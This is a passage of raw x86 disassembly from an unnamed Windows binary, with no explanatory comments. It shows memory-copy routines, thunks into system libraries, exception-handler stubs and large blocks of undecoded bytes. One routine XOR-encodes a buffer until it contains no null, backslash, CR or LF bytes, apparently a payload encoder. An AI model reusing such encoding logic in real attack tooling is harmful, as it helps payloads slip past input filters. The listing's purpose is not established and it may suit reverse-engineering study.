ecx, 3 rep stosb mov ecx, 6 mov edi, edx rep movsd mov ecx, ebx lea edi, [edx+17h] mov edx, ecx mov esi, ebp shr ecx, 2 rep movsd mov eax, [esp+14h] mov ecx, edx and ecx, 3 push eax rep movsb mov esi, dword_511AD0 call esi push ebp call esi add esp, 0Ch lea eax, [ebx+18h] pop edi pop esi pop ebp pop ebx add esp, 200Ch retn ; --------------------------------------------------------------------------- db 3 dup(90h) db 90h dup(0CCh) ; --------------------------------------------------------------------------- loc_4378B0: ; CODE XREF: ___:0040191Fj push ecx push ebx mov ebx, [esp+10h] push ebp push esi push edi push ebx mov dword ptr [esp+14h], 98h nop call near ptr 77C2C407h mov ecx, ebx mov ebp, eax mov edx, ecx xor eax, eax mov edi, ebp mov esi, [esp+1Ch] shr ecx, 2 rep stosd mov ecx, edx push 18h and ecx, 3 rep stosb mov ecx, ebx mov edi, ebp mov eax, ecx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb nop call near ptr 77C2C407h mov edx, eax mov ecx, 6 xor eax, eax mov edi, edx rep stosd mov eax, [esp+30h] add esp, 8 mov ecx, 6 mov esi, (offset loc_448B87+1) mov edi, edx mov [esp+1Ch], edx test eax, eax rep movsd jz short loc_43792D push ebx push ebp call eax add esp, 8 loc_43792D: ; CODE XREF: ___:00437924j push ebx nop call near ptr 77C2C407h mov ecx, ebx mov edx, eax mov esi, ecx xor eax, eax mov edi, edx mov [esp+1Ch], edx shr ecx, 2 rep stosd mov ecx, esi mov esi, ebp and ecx, 3 add esp, 4 rep stosb mov ecx, ebx mov edi, edx mov edx, ecx mov eax, [esp+1Ch] shr ecx, 2 rep movsd mov ecx, edx and ecx, 3 rep movsb mov [eax+0Eh], bl mov [eax+0Fh], bh loc_43796F: ; CODE XREF: ___:004379E8j push 5Ch push ebx push ebp call sub_401334 add esp, 0Ch test al, al jnz short loc_4379AF push 0 push ebx push ebp call sub_401334 add esp, 0Ch test al, al jnz short loc_4379AF push 0Ah push ebx push ebp call sub_401334 add esp, 0Ch test al, al jnz short loc_4379AF push 0Dh push ebx push ebp call sub_401334 add esp, 0Ch test al, al jz short loc_4379EA loc_4379AF: ; CODE XREF: ___:0043797Dj ; ___:0043798Dj ... mov esi, [esp+18h] mov ecx, ebx mov eax, ecx mov edi, ebp shr ecx, 2 rep movsd mov ecx, eax xor eax, eax and ecx, 3 rep movsb mov ecx, [esp+10h] inc ecx test ebx, ebx mov [esp+10h], ecx jle short loc_4379E1 loc_4379D4: ; CODE XREF: ___:004379DFj mov dl, [eax+ebp] xor dl, cl mov [eax+ebp], dl inc eax cmp eax, ebx jl short loc_4379D4 loc_4379E1: ; CODE XREF: ___:004379D2j mov edx, [esp+1Ch] mov [edx+13h], cl jmp short loc_43796F ; --------------------------------------------------------------------------- loc_4379EA: ; CODE XREF: ___:004379ADj mov eax, [esp+18h] push eax nop call near ptr 77C2C21Bh mov ecx, [esp+28h] mov edx, [esp+24h] mov esi, ecx xor eax, eax mov edi, edx shr ecx, 2 rep stosd mov ecx, esi mov esi, [esp+20h] and ecx, 3 rep stosb mov ecx, 6 mov edi, edx rep movsd mov ecx, ebx lea edi, [edx+17h] mov edx, ecx mov esi, ebp shr ecx, 2 rep movsd mov eax, [esp+20h] mov ecx, edx and ecx, 3 push eax rep movsb mov esi, dword_511AD0 call esi push ebp call esi add esp, 0Ch lea eax, [ebx+18h] pop edi pop esi pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- db 3 dup(90h) db 68h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_437AB8 proc near ; CODE XREF: SEH_403530+5j ; SEH_403700+5j ... nop jmp near ptr 77C227FAh sub_437AB8 endp ; --------------------------------------------------------------------------- align 10h byte_437AC0 db 90h ; DATA XREF: ___:off_43F004o ; ___:0043F018o ... db 0E9h, 47h, 0E4h dd 4DE9777Fh, 0C2777E44h, 18F5E990h ; --------------------------------------------------------------------------- jg short loc_437B49 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_437AD2 proc near ; CODE XREF: ___:00406C30p ; sub_406C50+11p ... nop jmp near ptr 77C29CDDh sub_437AD2 endp ; --------------------------------------------------------------------------- dd 80FFB3E9h, 0E990DC77h, 7781017Ch, 1FBE990h db 81h, 77h ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_437AEA proc near ; CODE XREF: sub_406C80+47p ; ___:00406D1Ap ... nop jmp near ptr 77C29CC5h sub_437AEA endp ; --------------------------------------------------------------------------- dword_437AF0 dd 7E99F2E9h, 0C18B5A77h, 0F1D400C7h, 4C20043h, 0F18B5600h dd 3B3E8h, 2444F600h, 7740108h, 0FFBCE856h, 8B59FFFFh dd 4C25EC6h, 0C2C18B00h db 4, 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_437B22 proc near ; CODE XREF: sub_409650+4Dp ; ___:0040AA6Dp nop jmp near ptr 77C226F6h sub_437B22 endp ; --------------------------------------------------------------------------- db 90h db 0E9h, 5Ch, 84h ; --------------------------------------------------------------------------- xor byte ptr [edi-34h], 0CCh ; =============== S U B R O U T I N E ======================================= sub_437B30 proc near ; CODE XREF: sub_40A100+5p ; sub_40FE30+1Ap ... arg_0 = byte ptr 4 push ecx cmp eax, 1000h lea ecx, [esp+4+arg_0] jb short loc_437B50 loc_437B3C: ; CODE XREF: sub_437B30+1Ej sub ecx, 1000h sub eax, 1000h test [ecx], eax loc_437B49: ; CODE XREF: ___:00437AD0j cmp eax, 1000h jnb short loc_437B3C loc_437B50: ; CODE XREF: sub_437B30+Aj sub ecx, eax mov eax, esp test [ecx], eax mov esp, ecx mov ecx, [eax] mov eax, [eax+4] push eax retn sub_437B30 endp ; --------------------------------------------------------------------------- align 10h dd 80FAFBE9h, 25E91377h, 11777E54h, 807F05E9h, 0E9909577h dd 7780FED8h, 802301E9h, 0E990A177h, 7780FD9Ch, 7F487EE9h dd 3D83F077h, 5109B4h, 0FF0C75FFh, 90042474h, 7FD25BE8h dd 68C35977h, 5109A4h, 5109B468h, 2474FF00h, 310E80Ch dd 0C4830000h, 74FFC30Ch, 0CBE80424h, 0F7FFFFFFh, 59C01BD8h dd 0C348D8F7h, 464DE990h, 0E990777Fh, 777FF5E8h, 0F5F9E990h ; --------------------------------------------------------------------------- jg short loc_437C51 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_437BDA proc near ; CODE XREF: sub_4199C0+28p jmp near ptr 77C4FA10h sub_437BDA endp ; --------------------------------------------------------------------------- db 39h ; =============== S U B R O U T I N E ======================================= sub_437BE0 proc near ; CODE XREF: sub_41B920+54p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx mov eax, [esp+4+arg_C] or eax, eax jnz short loc_437C01 mov ecx, [esp+4+arg_8] mov eax, [esp+4+arg_4] xor edx, edx div ecx mov eax, [esp+4+arg_0] div ecx mov eax, edx xor edx, edx jmp short loc_437C51 ; --------------------------------------------------------------------------- loc_437C01: ; CODE XREF: sub_437BE0+7j mov ecx, eax mov ebx, [esp+4+arg_8] mov edx, [esp+4+arg_4] mov eax, [esp+4+arg_0] loc_437C0F: ; CODE XREF: sub_437BE0+39j shr ecx, 1 rcr ebx, 1 shr edx, 1 rcr eax, 1 or ecx, ecx jnz short loc_437C0F div ebx mov ecx, eax mul [esp+4+arg_C] xchg eax, ecx mul [esp+4+arg_8] add edx, ecx jb short loc_437C3A cmp edx, [esp+4+arg_4] ja short loc_437C3A jb short loc_437C42 cmp eax, [esp+4+arg_0] jbe short loc_437C42 loc_437C3A: ; CODE XREF: sub_437BE0+4Aj ; sub_437BE0+50j sub eax, [esp+4+arg_8] sbb edx, [esp+4+arg_C] loc_437C42: ; CODE XREF: sub_437BE0+52j ; sub_437BE0+58j sub eax, [esp+4+arg_0] sbb edx, [esp+4+arg_4] neg edx neg eax sbb edx, 0 loc_437C51: ; CODE XREF: ___:00437BD8j ; sub_437BE0+1Fj pop ebx retn 10h sub_437BE0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_437C60 proc near ; CODE XREF: sub_41B920+30p ; sub_41B920+3Ap arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx push esi mov eax, [esp+8+arg_C] or eax, eax jnz short loc_437C82 mov ecx, [esp+8+arg_8] mov eax, [esp+8+arg_4] xor edx, edx div ecx mov ebx, eax mov eax, [esp+8+arg_0] div ecx mov edx, ebx jmp short loc_437CC3 ; --------------------------------------------------------------------------- loc_437C82: ; CODE XREF: sub_437C60+8j mov ecx, eax mov ebx, [esp+8+arg_8] mov edx, [esp+8+arg_4] mov eax, [esp+8+arg_0] loc_437C90: ; CODE XREF: sub_437C60+3Aj shr ecx, 1 rcr ebx, 1 shr edx, 1 rcr eax, 1 or ecx, ecx jnz short loc_437C90 div ebx mov esi, eax mul [esp+8+arg_C] mov ecx, eax mov eax, [esp+8+arg_8] mul esi add edx, ecx jb short loc_437CBE cmp edx, [esp+8+arg_4] ja short loc_437CBE jb short loc_437CBF cmp eax, [esp+8+arg_0] jbe short loc_437CBF loc_437CBE: ; CODE XREF: sub_437C60+4Ej ; sub_437C60+54j dec esi loc_437CBF: ; CODE XREF: sub_437C60+56j ; sub_437C60+5Cj xor edx, edx mov eax, esi loc_437CC3: ; CODE XREF: sub_437C60+20j pop esi pop ebx retn 10h sub_437C60 endp ; --------------------------------------------------------------------------- dd 808DE4E9h, 0E9908377h, 7780733Ch, 187E990h, 0E9907781h dd 77809196h, 9515E990h, 0E9907780h, 77809888h, 96AAE990h dd 44E97780h, 5D77809Ah, 80FEE3E9h, 0E9904677h, 77809E6Eh dd 8071EDE9h, 0E9909C77h, 77809103h, 43ADE990h, 46E9777Fh dd 0C5777E48h, 0F0D0E990h, 0D3E9777Fh, 37777FF4h, 758EE990h dd 0E990777Eh, 77807BFDh, 9B30E990h, 9CE97780h, 95778026h dd 25C1E990h, 0E9907780h, 778113C7h ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_437D4C proc near ; CODE XREF: ___:0043297Cp nop jmp near ptr 77C3619Ch sub_437D4C endp ; --------------------------------------------------------------------------- dw 1DE9h dword_437D54 dd 0A1777FF0h, 8E53E990h, 0C47B7780h, 82A1EA9Bh, 0C1EA3B47h dd 7D32C36h, 9046D35Dh, 7A7C8011h, 0FA08BD57h, 673DCE3Ah dd 52250A71h, 3788A776h, 5D89BF87h, 0E8026AFCh, 777FD5ECh dd 0D835990h, 5109A4h, 0B40D83FFh, 0FF005109h, 7435E890h dd 0D8B777Eh, 5108B4h, 0F1E80889h, 90777E73h, 8B00D8Bh dd 8890051h, 511A28A1h, 0A3008B00h, 510998h, 12EE8h, 0B01D3900h dd 7500448Ch, 7EF8680Ch, 0E8900043h, 77815895h, 0FAE859h dd 18680000h, 68004444h, 444314h, 0E5E8h, 8ACA100h, 45890051h dd 94458D94h, 0A835FF50h, 8D005108h, 8D509C45h, 8D509045h dd 9050A045h, 7E70D2E8h, 42106877h, 680044h, 0E8004440h dd 0B2h, 0A124C483h, 511A38h, 7589308Bh, 223E808Ch, 89463A75h dd 68A8C75h, 474C33Ah, 0F275223Ch, 75223E80h, 75894604h dd 3A068A8Ch, 3C0474C3h, 89F27620h, 458DD05Dh, 0E89050A4h dd 22D8198h, 1D045F6h, 0B70F1174h, 0EEBD445h, 76203E80h dd 758946D8h, 6AF5EB8Ch, 5650580Ah, 0E8905353h, 2449E03h dd 0A050E850h, 4589FFFCh, 0E8905098h, 77801FE2h, 8BEC458Bh dd 89098B08h, 5150884Dh, 21E8h, 0C3595900h, 0FFE8658Bh dd 0DFE88875h, 9077801Fh, 99A6E990h, 0E990777Eh, 777FCF89h dd 1FCCE990h, 0E9907780h, 777FAEDAh, 7011E990h, 0E990777Eh dd 77801E87h, 3000068h, 6800h, 25E80001h, 59000000h, 7EE9C359h dd 16778157h, 0C3C3C033h, 72A2E990h, 0E990777Eh, 777E72D3h dd 0D46EE990h, 0E990777Fh, 777FDD80h, 816F16E9h, 4CE9D477h dd 9C75C684h, 8529E990h, 0E99075C6h, 75C5A102h, 0C57554E9h dd 0E9900475h, 75C684F8h, 0C4A02AE9h, 9E9CA75h, 7975C539h dd 0F765E990h, 0E99075C5h, 75C4DB94h ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_437F50 proc near ; CODE XREF: sub_419300+190p nop jmp near ptr 76D6AC1Dh sub_437F50 endp ; --------------------------------------------------------------------------- db 90h db 0E9h dd 23A8D1Eh, 3A8DBDE9h, 99E90202h, 11023B80h, 8567E990h dd 0E990023Bh, 23C808Ch, 3C90B1E9h, 81E9F502h, 16023D80h dd 3E807BE9h, 0E9904E02h, 23E97BEh, 995DE990h, 0E990023Eh dd 23F8068h, 83E8E990h, 53E9023Fh, 4023F85h, 8056E990h dd 41E90240h, 0DE024084h, 804AE990h, 0E9900241h, 2418BE1h dd 803EE990h, 33E90242h, 0FA024282h, 438033E9h, 2DE9C202h dd 6F024480h, 4490B1E9h, 0B0E96202h, 4B02449Ch, 801AE990h dd 0E9900245h, 2458752h, 458BB7E9h, 9E9E602h, 41024680h dd 838EE990h, 45E90246h, 2D023A89h, 7FF6E990h, 0E990023Ah dd 2397FF0h, 8894E990h, 0E9900238h, 2387FE4h, 377FDFE9h dd 0E9901102h, 2368306h, 7FD2E990h, 0C0E90236h, 0AE02358Ah dd 847DE990h, 0E9900235h, 23582CEh, 7FBAE990h, 76E9022Ch dd 0B3023582h, 8257E990h, 96E90235h, 677C4C90h, 8FA7E990h dd 9DE97C4Ch, 1602357Fh, 348DC5E9h, 0E990CF02h, 23486CAh dd 7F8AE990h, 0E9900234h, 2338937h, 338866E9h, 87E91602h dd 74023386h, 855FE990h, 0E9900233h, 23383E0h, 819CE990h dd 61E90233h, 2A02337Fh, 328C02E9h, 0E990A602h, 23289D5h dd 3285C4E9h, 58E9ED02h, 80023285h, 7F42E990h, 0E9900232h dd 2318EAEh, 8B19E990h, 66E90231h, 0A6023189h, 858FE990h dd 0E9900231h, 23182A2h, 7F1EE990h, 0E2E90231h, 0C2023087h dd 87A9E990h, 0FE90230h, 0EB023081h, 7F06E990h, 6FE90230h dd 0B8022F8Ah, 86ADE990h, 0F5E9022Fh, 0E6022F7Eh, 2E8AC2E9h dd 0B4E91602h, 58022E88h, 8641E990h, 0E990022Eh, 22E84AAh dd 2E7ED7E9h, 0E9905A02h, 22D7ED0h, 0A725E990h, 0E990001Bh dd 2468A2Ah, 7EBEE990h, 0E9900252h, 24D7EB8h, 517EB3E9h dd 0ADE98D02h, 8802507Eh, 8C40E990h, 0E990024Fh, 24F7EA0h dd 8497E990h, 0E990024Eh, 24E822Eh, 4E7E8FE9h, 0E990A402h dd 24D87F7h, 86AAE990h, 0E990024Dh, 24D83DEh, 7E76E990h dd 0E9900247h, 24C8A30h, 4C86AAE9h, 0E9901102h, 24C81D7h dd 7E5EE990h, 59E9024Ch, 0C2024B7Eh, 4A7E53E9h, 0E9903202h dd 2499ABBh, 978EE990h, 0E9900249h, 249954Ah, 93CAE990h dd 35E90249h, 0E02497Eh, 7E2EE990h, 39E90248h, 557C608Fh dd 67BD64E9h db 71h, 9Fh ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4381DE proc near ; CODE XREF: ___:0042DBE1p nop jmp near ptr 71AB4FD4h sub_4381DE endp ; --------------------------------------------------------------------------- db 90h db 0E9h, 8Fh, 62h db 68h, 71h ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4381EA proc near ; CODE XREF: sub_42DBD1+1p jmp near ptr 71AB2BF4h sub_4381EA endp ; --------------------------------------------------------------------------- db 34h ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4381F0 proc near ; CODE XREF: sub_42DF40+E5p ; sub_42EF60+4Fp nop jmp near ptr 71AB615Ah sub_4381F0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4381F6 proc near ; CODE XREF: sub_42E490+9Ap ; sub_42F040+45p ... nop jmp near ptr 71AB428Ah sub_4381F6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4381FC proc near ; CODE XREF: sub_42F2C0+53p ; sub_42F2C0+96p ... jmp near ptr 71AB9639h sub_4381FC endp ; --------------------------------------------------------------------------- db 0Ch ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_438202 proc near nop jmp near ptr 71AC1028h sub_438202 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_438208 proc near ; CODE XREF: sub_42E170+71p ; sub_42ED50+50p nop jmp near ptr 71AB2DC0h sub_438208 endp ; --------------------------------------------------------------------------- db 90h db 0E9h dd 7167A9ACh ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_438214 proc near nop jmp near ptr 71AB88D3h sub_438214 endp ; --------------------------------------------------------------------------- db 90h db 0E9h dd 7167A946h ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_438220 proc near ; CODE XREF: sub_42E870+187p nop jmp near ptr 71AB951Eh sub_438220 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_438226 proc near jmp near ptr 71AB3E00h sub_438226 endp ; --------------------------------------------------------------------------- db 28h ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_43822C proc near ; CODE XREF: sub_42DB00+B1p jmp near ptr 71AB2B66h sub_43822C endp ; --------------------------------------------------------------------------- pushf ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_438232 proc near ; CODE XREF: ___:0042DC2Fp ; sub_42E870+152p nop jmp near ptr 71AB3B91h sub_438232 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_438238 proc near jmp near ptr 71AB406Ah sub_438238 endp ; --------------------------------------------------------------------------- db 32h, 90h, 0E9h dd 7167C1E4h ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_438244 proc near ; CODE XREF: sub_42DA80+10p nop jmp near ptr 71AB664Dh sub_438244 endp ; --------------------------------------------------------------------------- db 90h db 0E9h dd 7167CE78h ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_438250 proc near ; CODE XREF: sub_434BA0+Bp nop jmp near ptr 71AB94DCh sub_438250 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_438256 proc near ; CODE XREF: sub_41A7D0+92p ; sub_41A990+CAp ... nop jmp near ptr 71AB4544h sub_438256 endp ; --------------------------------------------------------------------------- dd 6888EFE9h, 0E990E171h, 7167C2B1h, 67A953E9h, 9CE99271h dd 0DE7167AAh, 0A9EFE990h db 67h, 71h ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_43827A proc near nop jmp near ptr 71AB3EA1h sub_43827A endp ; --------------------------------------------------------------------------- dd 6804E4E9h, 0E9905371h, 7167C1FDh ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_43828C proc near ; CODE XREF: sub_42DB00+53p ; sub_42DB00+C3p nop jmp near ptr 71ABE6EBh sub_43828C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_438292 proc near ; CODE XREF: sub_42F2C0+4Ap nop jmp near ptr 71AC0BDEh sub_438292 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_438298 proc near nop jmp near ptr 71AB2A5Eh sub_438298 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_43829E proc near ; CODE XREF: ___:0041C2B7p ; ___:0041C2CCp jmp near ptr 71B2578Ch sub_43829E endp ; --------------------------------------------------------------------------- db 2Ah ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4382A4 proc near ; CODE XREF: ___:0041C40Dp ; ___:0041C42Fp nop jmp near ptr 71B25099h sub_4382A4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4382AA proc near ; CODE XREF: ___:00426390p jmp near ptr 71B2517Fh sub_4382AA endp ; --------------------------------------------------------------------------- db 0B8h ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4382B0 proc near ; CODE XREF: sub_41FF90+B4p nop jmp near ptr 76BF215Ah sub_4382B0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4382B6 proc near ; CODE XREF: sub_41FF90+9Bp nop jmp near ptr 76BF1F1Ch sub_4382B6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4382BC proc near ; CODE XREF: sub_41FF90+21p nop jmp near ptr 76BF3A9Ah sub_4382BC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4382C2 proc near ; CODE XREF: ___:0041B284p nop jmp near ptr 76F36C5Bh sub_4382C2 endp ; --------------------------------------------------------------------------- dword_4382C8 dd 80DF81E9h, 52E92A77h, 287780DEh, 80DE97E9h, 41E90E77h dd 0E67780E0h, 2C4h dup(0CCCCCCCCh), 0FB988D8Dh, 2BE9FFFFh dd 8DFFFC84h, 0FFFBC88Dh, 8420E9FFh, 8D8DFFFCh, 0FFFFFBB0h dd 0FC8415E9h, 0E08D8DFFh, 0E9FFFFFBh, 0FFFC840Ah, 0FB94858Bh dd 0E083FFFFh, 0FC08501h, 884h, 44D8B00h, 0FC83F1E9h ; --------------------------------------------------------------------------- inc ebx ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_403530 proc near ; DATA XREF: sub_403530+2o mov eax, offset dword_43F470 jmp sub_437AB8 SEH_403530 endp ; --------------------------------------------------------------------------- db 20h dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 9 jmp sub_401AE6 ; --------------------------------------------------------------------------- loc_438E6B: ; DATA XREF: ___:0043F4ECo mov ecx, [ebp-10h] add ecx, 52h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 9Bh jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0E4h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 12Dh jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 176h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 1BFh jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 208h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 251h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 29Ah jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 2E3h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 32Ch jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 375h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 3BEh jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 407h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 450h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 499h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 4E2h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 52Bh jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 574h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 5BDh jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 606h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 64Fh jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 698h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 6E1h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 72Ah jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 773h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 7BCh jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 805h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 84Eh jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 897h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 8E0h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 929h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 972h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 9BBh jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0A04h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0A4Dh jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0A96h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0ADFh jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0B28h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0B71h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0B9Fh jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0BCDh jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0BFBh jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0C29h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0C57h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0C85h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0CB3h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0CE1h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0D0Fh jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0D3Dh jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0D6Bh jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0D99h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0DC7h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0DF5h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0E23h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0E51h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0E7Fh jmp sub_40208B ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 10C7h jmp sub_40208B ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 130Fh jmp sub_40208B ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 1557h jmp sub_40208B ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_403700 proc near ; DATA XREF: sub_403700+2o mov eax, offset dword_43F4C0 jmp sub_437AB8 SEH_403700 endp ; --------------------------------------------------------------------------- db 0D6h dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_439298: ; DATA XREF: ___:0043F72Co mov ecx, [ebp-10h] add ecx, 1Eh jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_403C50 proc near ; DATA XREF: sub_403C50+2o mov eax, offset dword_43F700 jmp sub_437AB8 SEH_403C50 endp ; --------------------------------------------------------------------------- db 13h dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_4392C8: ; DATA XREF: ___:0043F764o mov ecx, [ebp-10h] add ecx, 1Eh jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_403CD0 proc near ; DATA XREF: sub_403CD0+2o mov eax, offset dword_43F738 jmp sub_437AB8 SEH_403CD0 endp ; --------------------------------------------------------------------------- db 13h dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_403D50 proc near ; DATA XREF: sub_403D50+2o mov eax, offset dword_43F770 jmp sub_437AB8 SEH_403D50 endp ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] jmp sub_401AE6 ; --------------------------------------------------------------------------- loc_439318: ; DATA XREF: ___:0043F7CCo mov ecx, [ebp-10h] add ecx, 49h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 92h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0DBh jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 124h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov 